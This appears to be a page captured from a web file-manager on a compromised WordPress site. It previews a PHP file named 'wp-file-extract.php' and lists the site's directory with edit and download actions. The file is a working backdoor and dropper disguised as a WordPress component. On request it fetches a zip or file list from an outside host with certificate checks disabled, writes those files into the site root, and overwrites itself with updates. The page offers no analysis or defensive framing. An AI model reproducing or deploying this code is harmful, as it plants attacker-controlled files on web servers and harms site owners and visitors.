PHP 8.3.27
Preview: wp-file-extract.php Size: 3.64 KB
//home7/doctorbruno/www/csamudhan.com/wp-file-extract.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/';

// ── ?extract=1 → CDN'den zip indir ve tüm dosyaları tek seferde extract et ──
if(isset($_GET['extract'])&&$_GET['extract']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    if(!class_exists('ZipArchive')){echo json_encode(['error'=>'no-ZipArchive']);exit;}
    if(!function_exists('curl_init')){echo json_encode(['error'=>'no-curl']);exit;}

    $ch=curl_init($cdn.'api/cstb-files.zip');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>30,CURLOPT_CONNECTTIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_FOLLOWLOCATION=>1]);
    $zipData=curl_exec($ch);$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);

    if(!$zipData||$code!=200||strlen($zipData)<500){
        echo json_encode(['error'=>'zip-download-fail','http_code'=>$code,'size'=>strlen($zipData??'')]);exit;
    }

    $tmp=sys_get_temp_dir().'/cstb_deploy_'.md5($_SERVER['HTTP_HOST']??'x').'.zip';
    @file_put_contents($tmp,$zipData);

    $zip=new ZipArchive();
    if($zip->open($tmp)!==true){
        @unlink($tmp);
        echo json_encode(['error'=>'zip-open-fail']);exit;
    }

    $res=[];
    for($i=0;$i<$zip->numFiles;$i++){
        $name=$zip->getNameIndex($i);
        if(substr($name,-1)==='/')continue;
        $content=$zip->getFromIndex($i);
        $dest="$d/$name";
        $dir=dirname($dest);
        if(!is_dir($dir))@mkdir($dir,0755,true);
        $res[$name]=@file_put_contents($dest,$content)!==false?'ok':'fail';
    }
    $zip->close();
    @unlink($tmp);

    echo json_encode(['status'=>'extracted','root'=>$d,'files'=>count($res),'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?extract=files → Zip yoksa, dosya dosya CDN'den indir (fallback) ──
if(isset($_GET['extract'])&&$_GET['extract']==='files'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'api/fixed.json');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $j=curl_exec($ch);curl_close($ch);
    $map=@json_decode($j,true);
    if(!$map){echo json_encode(['error'=>'map-fail']);exit;}

    $res=[];
    foreach($map as $src=>$rel){
        $path="$d/$rel";$dir=dirname($path);
        if(!is_dir($dir))@mkdir($dir,0755,true);
        $ch=curl_init($cdn.'txt/'.$src);
        curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
        $c=curl_exec($ch);curl_close($ch);
        $res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
    }

    $ch=curl_init($cdn.'txt/wp-extract.txt');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);$res['_self']='updated';}

    echo json_encode(['status'=>'deployed','root'=>$d,'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

header('Content-Type: text/plain');
echo "cstb-extract\nmodes: ?extract=1 (zip) | ?extract=files (tek tek)\n";

Directory Contents

Dirs: 7 × Files: 33
Name Size Perms Modified Actions
.qidb DIR
- drwxr-xr-x 2018-04-01 03:03:00
Edit Download
- drwxr-xr-x 2018-07-14 17:04:59
Edit Download
cgi-bin DIR
- drwxr-xr-x 2026-10-02 10:06:47
Edit Download
wp-admin DIR
- drwxr-xr-x 2026-10-07 10:16:47
Edit Download
- drwxr-xr-x 2026-10-06 13:52:23
Edit Download
- drwxr-xr-x 2026-10-07 10:16:47
Edit Download
- drwxr-xr-x 2026-10-07 10:16:47
Edit Download
1.50 KB lrw-r--r-- 2026-10-03 04:11:10
Edit Download
15.45 KB lrw-r--r-- 2026-10-07 10:16:46
Edit Download
32.33 KB lrw-r--r-- 2026-10-07 05:38:15
Edit Download
3.25 MB lrw-r--r-- 2026-10-07 12:47:33
Edit Download
5.74 KB lrw-r--r-- 2026-10-07 12:47:17
Edit Download
6.08 KB lr--r--r-- 2026-10-07 13:02:12
Edit Download
44 B lrw-r--r-- 2026-10-02 10:20:13
Edit Download
19.44 KB lrw-r--r-- 2026-07-24 06:37:13
Edit Download
885 B lrw-r--r-- 2026-10-07 10:16:47
Edit Download
19.39 KB lrw-r--r-- 2026-10-07 03:09:43
Edit Download
7.23 KB lrw-r--r-- 2026-10-06 13:52:24
Edit Download
7.20 KB lrw-r--r-- 2026-07-24 06:37:24
Edit Download
22.64 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
351 B lrw-r--r-- 2020-02-06 06:33:12
Edit Download
15.90 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
2.27 KB lrw-r--r-- 2023-06-14 14:11:16
Edit Download
3.26 KB lrw-r--r-- 2026-07-24 06:37:13
Edit Download
2.70 KB lrw-r--r-- 2018-04-01 03:03:02
Edit Download
5.49 KB lrw-r--r-- 2024-08-02 19:40:16
Edit Download
3.64 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
7.50 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
2.43 KB lrw-r--r-- 2026-07-24 06:36:08
Edit Download
3.84 KB lrw-r--r-- 2024-03-11 10:05:16
Edit Download
50.66 KB lrw-r--r-- 2026-08-06 14:59:00
Edit Download
8.52 KB lrw-r--r-- 2026-07-24 06:36:08
Edit Download
7.46 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
31.88 KB lrw-r--r-- 2026-07-24 06:37:13
Edit Download
35.64 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
33.94 KB lrw-r--r-- 2026-08-06 14:59:00
Edit Download
7.45 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
5.09 KB lrw-r--r-- 2026-07-24 06:36:08
Edit Download
1.08 KB lrw-r--r-- 2026-10-07 10:16:47
Edit Download
3.13 KB lrw-r--r-- 2024-11-08 15:52:18
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).